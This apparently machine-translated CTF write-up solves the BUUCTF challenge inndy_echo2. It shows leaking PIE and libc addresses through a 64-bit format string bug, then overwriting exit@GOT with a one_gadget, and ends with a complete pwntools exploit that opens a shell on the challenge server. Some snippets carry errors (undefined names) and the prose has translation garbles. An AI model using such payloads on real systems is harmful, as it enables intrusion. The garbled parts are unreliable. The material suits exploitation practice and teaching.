[BUUCTF]PWN——inndy_echo2(PIE+64位fmt)

inndy_echo2

annex

step

  1. Routine inspection, 64-bit program, nx and pie enabled
    Insert picture description here
  2. Try it locally and see the general situation. The guess is similar to echo.
    Insert picture description here
  3. 64-bit ida is loaded, the same code as 32-bit echo, but an additional PIE
    Insert picture description here
    64-bit format string vulnerability is opened . It is quite different from 32-bit. Pay attention to the truncation of '00'. It can only modify 2 bytes at a time when it is modified in one step as 32-bit. If you are unclear, read this article first
  4. First of all, for PIE, we must first find a way to leak the program base address.
    When the echo function is executed, the previous element of the echo stack frame stores the return address of the function and returns to main, so there must be a return address in the stack to
    find it.
    Steps to adjust the base address of the program and libc :
    gdb echo2
    b main
    r
    keeps ni until the input point
    . Check the offset of the program at the input point and make sure that the offset is 6.
    Insert picture description here
    At this time, the parameters on the stack have been loaded, check Elements on the stack
    Insert picture description here
    You can see that the parameters are stored directly on the stack, and there is no use of registers, so count the offsets marked in the above figure, which main+74are 41 and libc_start_main+24043, so you get the base address of the program and the base address of libc
p.sendline('%41$p')
elf_base=int(p.recv(14),16)- 74 - 0x9b9      #0x9b9是开启了pie的main函数地址
success('elf base: '+hex(elf_base))
p.recv()
p.sendline('%43$p')
libc_start_main=int(p.recv(14),16)-240
success('libc_start_main addr: '+hex(libc_start_main))
  1. Now we need to use the fgets function to leak
    that the offset found when libc was moved before is 6. Use this offset to leak fgets@got. Pay attention to the '00' truncation, so we modified it here and adopted
    p.sendline("stop%8$saaaaaaaa" + p64(fgets_got_addr))8 *a is used to fill '00'
fgets_got_addr = elf_base + elf.got["fgets"]                             
exit_got = elf_base + elf.got["exit"]                                    
                                                                         
p.sendline("stop%8$saaaaaaaa" + p64(fgets_got_addr))                    
p.recvuntil("stop")                                                     
fgets_addr = u64(sh.recvuntil("aaaaaaaa",drop=True)[0:8].ljust(8,'\x00'))
print hex(fgets_addr)           
libc = LibcSearcher('fgets', fgets_addr)                                         

See that the matching libc is 2.23-64, download it on buu
Insert picture description here

  1. With the base address of the program and libc, PIE can be bypassed, the libc version is available, and you can try to modify the got table. At first, it was like changing printf@got to system, but there were some problems during the actual operation. I saw that the wp of other masters was too concise, and I didn’t understand it, so I changed the exit to one_gadget based on the wp of other masters.
    Insert picture description here
exit_got = elf_base + elf.got["exit"]
one=[0x45216,0x4526a,0xf02a4,0xcd0f3,0xcd1c8,0xf02b0,0xf1147,0xf66f0]
one_gadget=one[2]+libc_base

one1=one_gadget&0xffff
one2=(one_gadget>>16)&0xffff
one3=(one_gadget>>32)&0xffff

payload=('%'+str(one1)+'c%8$hn').ljust(16,'.')+p64(exit_addr)
p.sendline(payload)
p.recv()
sleep(0.5)

payload=('%'+str(one2)+'c%8$hn').ljust(16,'.')+p64(exit_addr+2)
p.sendline(payload)
p.recv()
sleep(0.5)

payload=('%'+str(one3)+'c%8$hn').ljust(16,'.')+p64(exit_addr+4)
p.sendline(payload)
p.recv()
sleep(0.5)

Finally, enter exit to call one_gadget to get the shell

Full exp

from pwn import *
from LibcSearcher import *
context.log_level='debug'

p=remote('node3.buuoj.cn',25416)
#p=process('./echo2')
elf=ELF('./echo2')

p.sendline('%41$p')
elf_base=int(p.recv(14),16)- 74 - 0x9b9      
success('elf base: '+hex(elf_base))
p.recv()
p.sendline('%43$p')
libc_start_main=int(p.recv(14),16)-240
success('libc_start_main addr: '+hex(libc_start_main))

#fgets_got_addr = elf_base + elf.got["fgets"]                                                                                                                                     
#p.sendline("stop%8$saaaaaaaa" + p64(fgets_got_addr))                    
#p.recvuntil("stop")                                                     
#fgets_addr = u64(p.recvuntil("aaaaaaaa",drop=True)[0:8].ljust(8,'\x00'))
#print hex(fgets_addr)  
#libc = LibcSearcher('fgets', fgets_addr) 
#print hex(libc.dump('fgets')) 
                 
libc=ELF('./libc-2.23-64.so')
libc_base=libc_start_main-libc.sym['__libc_start_main']

exit_got = elf_base + elf.got["exit"]
one=[0x45216,0x4526a,0xf02a4,0xcd0f3,0xcd1c8,0xf02b0,0xf1147,0xf66f0]
one_gadget=one[2]+libc_base

one1=one_gadget&0xffff
one2=(one_gadget>>16)&0xffff
one3=(one_gadget>>32)&0xffff

payload=('%'+str(one1)+'c%8$hn').ljust(16,'.')+p64(exit_got)
p.sendline(payload)
p.recv()
sleep(0.5)

payload=('%'+str(one2)+'c%8$hn').ljust(16,'.')+p64(exit_got+2)
p.sendline(payload)
p.recv()
sleep(0.5)

payload=('%'+str(one3)+'c%8$hn').ljust(16,'.')+p64(exit_got+4)
p.sendline(payload)
p.recv()
sleep(0.5)

p.sendline('exit')
p.interactive()    

Insert picture description here

参考wp:https://www.cjovi.icu/WP/buu-inndy_echo2-wp.html

Guess you like

Origin blog.csdn.net/mcmuyanga/article/details/113512748